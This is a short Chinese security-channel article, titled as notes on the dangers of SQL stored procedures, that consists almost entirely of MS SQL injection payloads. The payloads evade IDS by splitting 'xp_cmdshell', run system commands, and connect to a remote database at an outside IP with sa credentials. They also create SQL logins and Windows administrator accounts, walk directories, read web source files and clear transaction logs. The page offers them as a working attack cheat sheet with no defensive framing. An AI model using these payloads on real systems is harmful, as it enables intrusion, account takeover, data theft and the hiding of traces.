网络安全 频道

[攻防手记]SQL存储过程带来的安全危险

    启动 server 服务|
    ;exec master..xp_servicecontrol 'start', 'server' 当然你也可以启动其它服务

    绕过IDS的检测的 xp_cmdshell|
    ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

    开启远程数据库1|
    ; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

    开启远程数据库2|
    ;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

    添加mssql和系统的帐户
    ;exec master.dbo.sp_addlogin username;--

    ;exec master.dbo.sp_password null,password,username;--

    ;exec master.dbo.sp_addsrvrolemember sysadmin username;--

    ;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

    ;exec master.dbo.xp_cmdshell 'net user username password /add';--

    ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

    遍历目录  /不一定用来遍历目录,你也可以把xp_cmdshell执行的结果,插入表中

    ;create table dirs(paths varchar(100), id int)  
    ;insert dirs exec master.dbo.xp_dirtree 'c:\'  
    ;and (select top 1 paths from dirs)>0
    ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

    遍历目录
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
    ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
    ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

    删除日志:
    DUMP  TRANSACTION sdfsdfsdf WITH NO_LOG

0
相关文章